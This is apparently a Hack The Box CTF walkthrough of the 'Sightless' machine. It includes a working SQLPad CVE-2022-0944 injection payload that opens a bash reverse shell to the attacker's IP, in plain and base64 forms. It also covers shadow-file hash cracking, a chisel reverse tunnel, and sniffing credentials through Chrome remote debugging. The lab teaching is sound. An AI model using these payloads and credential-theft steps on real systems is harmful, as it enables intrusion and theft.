Sightless

INTRODUCTION

Sightless is the box for week 6 of HTB’s Season 6 Heist. It’s a very creative box. While each step of this box is relatively simple, the creator (EmSec) throws many creative challenges at us with this one. There are a few rabbit-holes to watch out for, and it can be easy to feel a little lost while seeking privesc to root. Sightless requires you to actually work inside some GUI applications, instead of being able to root the box solely through a terminal.

Recon is dead simple. Even a quick glance at the page leads you towards a vulnerable subdomain. From there, fingerprinting the application running on that subdomain is enough for you to dig up a usable CVE that has a very user-friendly PoC written already. If you’re quick with research, and don’t get too hung-up on web enumeration, you can easily have a foothold within 10-15 minutes on this. Alternate encoding is helpful for delivering the payload to gain a foothold.

The foothold lands you inside a docker container. While there is a database initialization script in there that looks useful, it’s actually just a distraction. The real loot is due to another form of password re-use. Once you find this, a little bit of password cracking will reveal the password for a valid user on the host system, allowing you to escape the docker container. The user flag is available as that user.

While there is another “human” user on the box, there is actually no need to pivot to that user: you can go straight from the first low-priv user to root. Good local enumeration is critical for this part of the box. The vulnerability is quite strange, and you’ll miss it if you’re not looking carefully. Be sure to examine the processes being intermittently ran by the other “human” user. With a bit of research (and cross-referencing with Linpeas) you’ll be able to spy on the vulnerable process, and take advantage of the unencrypted service they’re accessing. From there, it’s as easy as finding a way to get that service to grant you access to the FTP/S that was visible even during early recon. Inside FTP/S, there will be an OpenSSH private key for accessing root.

RECON

nmap scans

Port scan

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

🚨 FTP is present! I’ll be sure to check that before HTTP.

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR

PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings: 
|   GenericLines: 
|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.129.40.243]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_  256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://sightless.htb/
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94SVN%I=7%D=9/8%Time=66DD4B82%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,A2,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x20S
SF:erver\)\x20\[::ffff:10\.129\.40\.243\]\r\n500\x20Invalid\x20command:\x2
SF:0try\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\
SF:x20being\x20more\x20creative\r\n")

Note the http redirect to http://sightless.htb

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

No additional info resulted from this scan.

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

PORT      STATE         SERVICE     VERSION
9/udp     open|filtered tcpwrapped
49/udp    open|filtered tcpwrapped
68/udp    open|filtered tcpwrapped
139/udp   open|filtered tcpwrapped
161/udp   open|filtered snmp
623/udp   open|filtered asf-rmcp
1645/udp  open|filtered tcpwrapped
2048/udp  open|filtered tcpwrapped
5060/udp  open|filtered sip
9200/udp  open|filtered tcpwrapped
32769/udp open|filtered filenet-rpc

Note that any open|filtered ports are either open or (much more likely) filtered.

FTP

I’ll try an anonymous login for FTP first:

“SSL/TLS required on the control channel” means this is actually running FTPS (not SFTP). We can get around this by using lftp instead, which supports SSL/TLS:

The target is probably using a self-signed certificate. After diving through the man page a bit, I found I can set a variable to ignore verification of the cert:

lftp -e "set ssl:verify-certificate no" $RADDR

We’ve succesfully ignored the certificate verification, but unfortunately none of these credentials worked:

• root : root
• anonymous : [blank]
• anonymous : anonymous

The authentication attempts take a little while to resolve, so I’ll probably come back to this when I some info about a valid credential.

Webserver Strategy

Noting the redirect from the nmap scan, I added download.htb to /etc/hosts and did banner grabbing on that domain:

DOMAIN=template.htb
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb --aggression 3 http://$DOMAIN && curl -IL http://$RADDR

No surprises from whatweb. Next I’ll perform vhost and subdomain enumeration. First, I’ll check for alternate hosts:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No results from this scan, but while it was running I took a look through the website itself. It looks like a typical landing page for a small IT company. The most interesting portion is the Services listed:

• The Froxlor part links to an open source tool for server administration. Their repo is available on Github. Github shows that the current release is version 2.2.1. I’ll take a look through this soon. For now, it gives us a taste of what to expect if we find some kind of admin dashboard:
• The Database & Server Management part is just a distraction. It links to the nonexistent “Contact Us” mechanism.
• The SQLPad part reveals a subdomain! The Start Now button links to http://sqlpad.sightless.htb. Let’s add that to /etc/hosts and take a look:

A quick check shows that Froxlor has historically had some notable vulnerabilities… but I’ll need to actually find Froxlor before I can make any attempts to exploit it!

Next I’ll check for subdomains of sightless.htb. We already know about sqlpad, but are there more?

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

No new results from that, either. Unfortunate, as I was hoping for an admin subdomain. I’ll move on to directory enumeration on http://sightless.htb.

First, directory enumeration:

I prefer to not run a recursive scan, so that it doesn’t get hung up on enumerating CSS and images.

WLIST=/usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -ic -c -o fuzzing/ffuf-directories-root -of json -timeout 4 -v

Next I’ll search for files:

WLIST=/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
ffuf -w $WLIST:FUZZ -u http://$DOMAIN/FUZZ -t 60 -c -o fuzzing/ffuf-files-root -of json -e .php,.asp,.js,.html,.txt -timeout 4 -v

No significant new results from that.

SQLPad

SQLPad also appears to be an open-source project. There is a github repo available.

Since we already know that Froxlor is probably running on the target, I tried establishing a connection to the database for it. Reading throught the “Getting Started” documentation for Froxlor, we already know the database type, a likely database name, and two likely usernames (MySQL, froxlor_db, froxlor_user, and froxroot respectively).

I tried establishing a connection to localhost:3306 using all kinds of combinations of the above info - no luck.

Also, working under the assumption that Froxlor might be running locally in Docker, I also tried using froxlor as a hostname - also no luck. Thankfully, there is a Test Connection feature that we can play with, so I proxied it through ZAP:

Why not try this as an SSRF? Saving the above request as test_db_conn.raw, I tried parameterizing the port number and fuzzing for a database on a nonstandard port:

vim test_db_conn.raw  # exchange 1111 for "PORTNUM"
seq 1 65535 > ports.lst
ffuf -w ports.lst:PORTNUM -request test_db_conn.raw -t 40 -c -v

Interestingly, this always led to exactly 1 error 🤔 No positive results though.

Maybe I’ll try fingerprinting the SQLPad application and do some research instead?

While the About panel clearly shows that the version is 6.10.0, we can see from the SQLPad project repo on Github that the current version is 7.5.0! Such an out-of-date version might indicate that there was a vulnerability we can utilize…

A little bit of searching led me to this article. The author describes a PoC for an RCE vulnerability in SQLPad, where we can very simply achieve code execution by giving a malformed entry into the Database field when defining a new connection.

FOOTHOLD

CVE-2022-0944

The vulnerability disclosed in the article I linked above was granted CVE-2022-0944, and was fixed in version 6.10.1. The RCE is blind, so let’s start an HTTP server to act just as a proof-of-concept:

sudo ufw allow from $RADDR to any port 8000 proto tcp
cd www
simple-server 8000 -v

Now let’s try out the method described in the article. I’ll use the following as the Database field in the New Connection form:

{{ process.mainModule.require('child_process').exec('curl http://10.10.14.48:8000/?msg=curl') }}

No result. What about wget?

It worked immediately! Perfect. Let’s stand up a reverse shell listender then refine the payload into a reverse shell:

sudo ufw allow from $RADDR to any port 53 proto tcp
bash
sudo socat -d TCP-LISTEN:53 STDOUT

{{ process.mainModule.require('child_process').exec('/bin/bash -i >& /dev/tcp/10.10.14.48/53 0>&1') }}

That didn’t work. Thankfully, it didn’t take too much fiddling to get it to open a shell:

{{ process.mainModule.require('child_process').exec('echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjQ4LzUzIDA+JjE=|base64 -d|bash -i') }}

☝️ That’s just the base64 encoded version of the previous bash reverse shell.

And we catch a shell!

We’re already root, so chances are extremely high that we’re just in a docker container.

USER FLAG

Local enumeration - sqlpad

Adjacent to where we opened the reverse shell, there’s an SQLite definition file, sqlpad.sqlite. Exfil this file by whatever means is convenient (I used cat sqlpad.sqlite | base64 -w 0, copied the outpud, pasted it into a local file, then decoded it into another file)

sqlite3 sqlpad.sqlite

.tables
.schema users
.headers on
.mode table
select email, role, name, passhash, password_reset_id, data from users;

Interesting - the admin user has a password hash, but john only has a password_reset_id. Let’s attempt to crack the hash:

name-that-hash -t '$2a$10$cjbITibC.4BQQKJ8NOBUv.p0bG2n8t.RIIKRysR6pZnxquAWsLFcC'

The hash is probably bcrypt, as expected. Now let’s put it in a file and crack it:

echo 'admin:$2a$10$cjbITibC.4BQQKJ8NOBUv.p0bG2n8t.RIIKRysR6pZnxquAWsLFcC' > sqlpad.hash
PASSWDS=/usr/share/wordlists/rockyou.txt
john --wordlist=$PASSWDS --format=bcrypt sqlpad.hash

I tried that credential on both FTP/S and SSH, but neither was successful. In SQLPad itself, we’re already logged in with full access, so there’s probably no need to escalate privilege there (plus, I don’t see any way to even log out and change users…)

Enumerating the SQLPad host a little more, I noticed that (oddly) there are two more users on the box: michael and node, each with a home directory. While neither home directory held anything important, this reminded me that I should check the shadowfile! 💡

cat /etc/shadow

root and michael each have a password hash, so I’ll copy those into a file on my attacker host:

PASSWDS=/usr/share/wordlists/rockyou.txt
john --wordlist=$PASSWDS sqlpad-shadow.hash

Great! There’s two more credentials:

• root : blindside
• michael : insaneclownposse

Before I do anything else, I’ll check all combinations of known usernames and passwords against FTP/S and SSH:

OK, none of them worked for FTP/S. What about SSH?

ssh michael@$RADDR  # use password "insaneclownposse"

👏 Excellent - the first credential I tried worked perfectly!

Although we can’t immediately privesc using the password blindside, we now have access to the user flag. Go read it for some points:

cat /home/michael/user.txt

ROOT FLAG

Local enumeration - michael

michael can’t sudo anything, and the only human users on the target are michael, john, and root.

We can see several services exposed locally by running netstat:

Listening services

To take a look at these, I’ll establish a SOCKS proxy.

Chisel SOCKS Proxy

During user enumeration I found a locally-exposed port 5432 (probably PostgreSQL). To access it, I’ll set up a SOCKS proxy using chisel. I’ll begin by opening a firewall port and starting the chisel server:

☝️ Note: if you’ve never used proxychains, go find a guide for how to install and configure it.

sudo ufw allow from $RADDR to any port 9999 proto tcp
./chisel server --port 9999 --reverse

Then, on the target machine, start up the chisel client and background it. (Note that I’ve already transferred a precompiled copy of chisel to the target by downloading from my attacker host’s http server):

./chisel client 10.10.14.2:9999 R:1080:socks &

To test that it worked, I tried a round-trip test (attacker -> target -> attacker) to access loading the index page from my attacker host’s http server:

proxychains curl http://10.10.14.2:8000

I can see the html for my http server’s index page, so this is a success 👍

Now I can comfortably access any of the http-based services running on the target. I already have FoxyProxy configured to use SOCKS5:

So now we can access the target’s port 3000 by navigating to http://localhost:3000:

As we just saw, port 3000 is running SQLPad. We can also check out port 8080 and note that it’s running Froxlor (albeit unconfigured):

Apache configs

After trying all known credentials against the MySQL database (none worked), it seems like the best option is to look through the filesystem for some database credentials. Usually, a good place to check is within web apps, but it seems like I can only access the sightless.htb www root:

Since we’re clearly in the host system now, if there are other domains to investigate, they would necessarily have to be defined as vhosts - so it makes sense to check for vhost configurations. I uncovered a key detail in the Apache config at /etc/apache2/sites-enabled/000-default.conf:

<VirtualHost 127.0.0.1:8080>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html/froxlor
        ServerName admin.sightless.htb
        ServerAlias admin.sightless.htb
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

I removed the commented lines for clarity

💡 Aha! Much earlier, during subdomain enumeration, I had been searching for admin.sightless.htb. Turns out it existed all along, but was only exposed locally.

We already saw port 8080 through the SOCKS proxy, but it might look different if we provide a Host header, thus accessing the vhost defined in the above Apache config. I’ve adjusted my /etc/hosts to look like this:

10.129.228.54 sightless.htb
10.129.228.54 sqlpad.sightless.htb
127.0.0.1 admin.sightless.htb

As predicted, we now see something totally different when accessing port 8080 by its hostname:

I tried all known pairs of credentials on this login page, but none were successful. I also tried the Forgot your password? feature, hoping that it might send an email to /var/mailbut that didn’t work either.

Scheduled processes

We can check PSpy for a hint at what the john user does. It seems they are the main administrator of Froxlor, and have several scheduled processes running (here are some, in no particular order):

We can see from these lines that healthcheck.sh and administration.py are running periodically, from /home/john/automation, and that some of the results of these scripts involve privilege escalation. It also reveals that the froxlor user is froxlorlocal.

What’s really interesting (and I can’t understand why this would happen automatically) is that john is utilizing the chromedriver to access Floxor:

Remote Debugging

Searching for “Chrome remote debugging” brought me to this article by Google that explains how to set up Chrome for remote debugging. In short, I’ll need to add http addresses for whatever the remote debugging port is. I know it’s not 8080 or 3306 (or 33060, but it could be any of the other ports exposed to 127.0.0.1:

Also, since I’ll need to access these ports through Chrome (which I haven’t yet configured for SOCKS5 proxy), I’ll perform the port forwards by using SSH itself:

ssh michael@$RADDR \
-L 8080:localhost:8080 \
-L 3306:localhost:3306 \
-L 34579:localhost:34579 \
-L 3000:localhost:3000 \
-L 37011:localhost:37011 \
-L 57675:localhost:57675 \
-L 33060:localhost:33060

I’ll set up Chrome’s remote debugging on my attacker host by connecting to all these ports. Navigate to chrome://inspect/#devices, click Configure, then add each port:

After clicking Done, one of the ports connects, and some options appear:

Click Inspect, and a window appears as if we had opened the Chrome Dev Tools on the remote debugging session!

🤑 We’re looking directly at John’s automated chrome session! We can watch john enter their credentials and check the System log page over and over.

Since we have Dev Tools open, why not just observe the login POST body? All it takes is pausing the Network tab right after the login occurs:

Perfect! From the POST index.php request, we can read the credentials directly. They’re using admin : ForlorfroxAdmin

Back in the original tab I had open for admin.sightless.htb, I’ll try logging in using those credentials:

The login is successful, and we can start exploring the Froxlor dashboard ourselves:

Froxlor Dashboard

This dashboard has a lot of features. We have the ability to manage domains, change PHP settings, renew certificates - all kinds of activities that are helpful with webserver administration. Not only that, but as an admin user we can do all of that plus edit the settings of Froxlor itself.

We can also see that john, the other user on the target host, is the customer linked to web1.

I don’t see any ways to directly gain RCE as another user. There are probably ways to insert webshells from here, but it will take a bit of playing-around to determine that 🤔

web1

🚫 This section didn’t lead anywhere directly, but I might pick it up later. Skip to the next section if you’re in a hurry.

Looking through Froxlor, it seems like there’s only one domain registered - web1. We saw this mentioned earlier under /var/customers and in the apache configs. Here’s one of the configs that mentioned it (looks like this apache config is auto-generated by Froxlor):

# 34_froxlor_normal_vhost_web1.sightless.htb.conf
# Created 03.09.2024 11:55
# Do NOT manually edit this file, all changes will be deleted after the next domain change at the panel.

# Domain ID: 1 - CustomerID: 1 - CustomerLogin: web1
<VirtualHost 192.168.1.118:80>
  ServerName web1.sightless.htb
  ServerAlias *.web1.sightless.htb
  ServerAdmin john@sightless.htb
  DocumentRoot "/var/customers/webs/web1"
  <Directory "/var/customers/webs/web1/">
  <FilesMatch \.(php)$>
    <If "-f %{SCRIPT_FILENAME}">
      SetHandler proxy:unix:/var/lib/apache2/fastcgi/1-web1-web1.sightless.htb-php-fpm.socket|fcgi://localhost
    </If>
  </FilesMatch>
    CGIPassAuth On
    Require all granted
    AllowOverride All
  </Directory>
  Alias /goaccess "/var/customers/webs/web1/goaccess"
  LogLevel warn
  ErrorLog "/var/customers/logs/web1-error.log"
  CustomLog "/var/customers/logs/web1-access.log" combined
</VirtualHost>

I’ll try taking a look at it:

The address that web1 is mapped to doesn’t seem to exist 🤔

FTP

If desired, we can also assume the perspective of any user by going to Resources > Customers then clicking on the customer’s username. Interestingly, it seems like this is the only way to make the FTP options appear:

We can edit this entry, and freely change the password. I’ll use web1 : web1.FTP. Is this what we needed to be able to access FTP?

lftp -e "set ssl:verify-certificate no" $RADDR 
> login web1 web1.FTP

That worked - we can now see inside the web1 FTP:

We can use get to obtain /goaccess/backup/Database.kdb. ​A quick check of file shows that this is a Keepass database.

I’ve used Keepass a little bit, during Keeper in HTB’s Season 2. Check out that portion of my walkthrough of Keeper for a little more context.

I remember that there is a handy utility for turning a keepass database’s master key into a hash that john can crack:

keepass2john Database.kdb > keepass.hash
PASSWDS=/usr/share/wordlists/rockyou.txt
john --wordlist=$PASSWDS keepass.hash 

Since this is a Keepass v1 file, we’ll need to use keepassxc to open it (or use Windows):

sudo apt install keepassxc

Once installed, we can’t just open the kdb file, we need to import it instead. Choose Database > Import… then select KDB file, and choose the Database.kdb file previously obtained through FTP:

Finish importing the database, and you’ll see there’s only one key, called ssh / root:

That’s great, but the real loot is saved as an attachment. Click on the Advanced tab in the details panel:

I’ll save the id_rsa file to my attacker host. As usual, I’ll chmod 600 the file to restrict permissions adequately to use the file for SSH authentication:

😱 Uh-oh! That error usually indicates there’s something wrong with the key format. Thankfully, I have a bunch of other keys on hand that I can compare it to:

cp ../../[Other box name]/loot/id_rsa ./reference_id_rsa
diff ./id_rsa ./reference_id_rsa

Besides the difference in key content, we can see from diff that the file we just saved is lacking a newline character on the end. Add one to fix up the formatting:

echo -e "\x0a" >> ./id_rsa

Check your work with hexedit, then attempt to log in again:

ssh -i ./id_rsa root@$RADDR

There’s the root flag! Read it to finish off the box:

cat /root/root.txt

🎉 Congratulations - that root flag was a lot tougher than I thought it would be!

EXTRA CREDIT

I would love to take a second look at this box, to answer a couple questions I had along the way:

• Is there another way to gain credentials for the Froxlor dashboard? The Chrome remote debugging thing was quite a strange idea to me, and seems very niche. Is there a more generalizable way to either bypass authentication or gain credentials?
• How else could I have gained a root shell? I’d be interested to see if I could at least pivot to the john user by exploiting Froxlor. We saw that the dashboard has the ability to define new domains that use PHP-FPM, so could I have opened a webshell as john that way?

Unfortunately, other “real life” priorities are preventing me from playing around with this box any further. I’ll be eager to check out other people’s solutions once this box retires!

CLEANUP

Target

As root, I’ll get rid of the spot where I place my tools on the target:

rm -rf /tmp/.Tools

Attacker

There’s also a little cleanup to do on my local / attacker machine. It’s a good idea to get rid of any “loot” and source code I collected that didn’t end up being useful, just to save disk space:

rm -rf loot/*

It’s also good policy to get rid of any extraneous firewall rules I may have defined. This one-liner just deletes all the ufw rules:

NUM_RULES=$(($(sudo ufw status numbered | wc -l)-5)); for (( i=0; i<$NUM_RULES; i++ )); do sudo ufw --force delete 1; done; sudo ufw status numbered;

LESSONS LEARNED

Attacker

• ♻️ Enumerate, fingerprint, exploit. I did a good job on this box gaining a quick foothold, and I need to remember to follow this methodology going forward. Do some recon, figure out the versions of which services are running, do a little vulnerability research, and try to exploit right away. By staying focussed, you’ll hopefully avoid wasting time (re)discovering vulnerabilities that already have a CVE assigned.

• 🥕 Root already? Grab the shadowfile. If you’ve already gained root access, and need to pivot to another host (whether that’s the docker host, or something else on the same network, etc) be sure to grab the shadowfile. Obtain /etc/shadow, and optionally get /etc/passwd and run the unshadow utility (comes with john). After that, you can start cracking.

• 🔑 Double check key format. I accidentally got a little hung of on the format of the SSH key for root that we recovered from the Keepass database. As we saw, it was lacking a newline character at the bottom. Using diff to compare the recovered key to one I had on-hand (with the same length & algorithm) made it very easy to see what the problem was.

Defender

• 🔁 Password re-use between containers and host is both lazy and harmful. Not only that, the whole idea of it is problematic: we containerize applications to that the resulting container does just one thing, and scales nicely. Why would we have a regular user (one that we would presumably re-use a credential for) in a container? Just make a service account for the containerized application instead.

• 📉 Beware downgrading your security through poor key management. On this box, we eventually recovered the SSH private key for root from a Keepass database. Taken by itself, that’s not the worst practice - but it the keypass database should have itself been locked with a proper cryptographic-strength key. Instead, it was locked with a very weak password, downgrading the security of the root SSH authentication to using (weak) password instead of being key-based.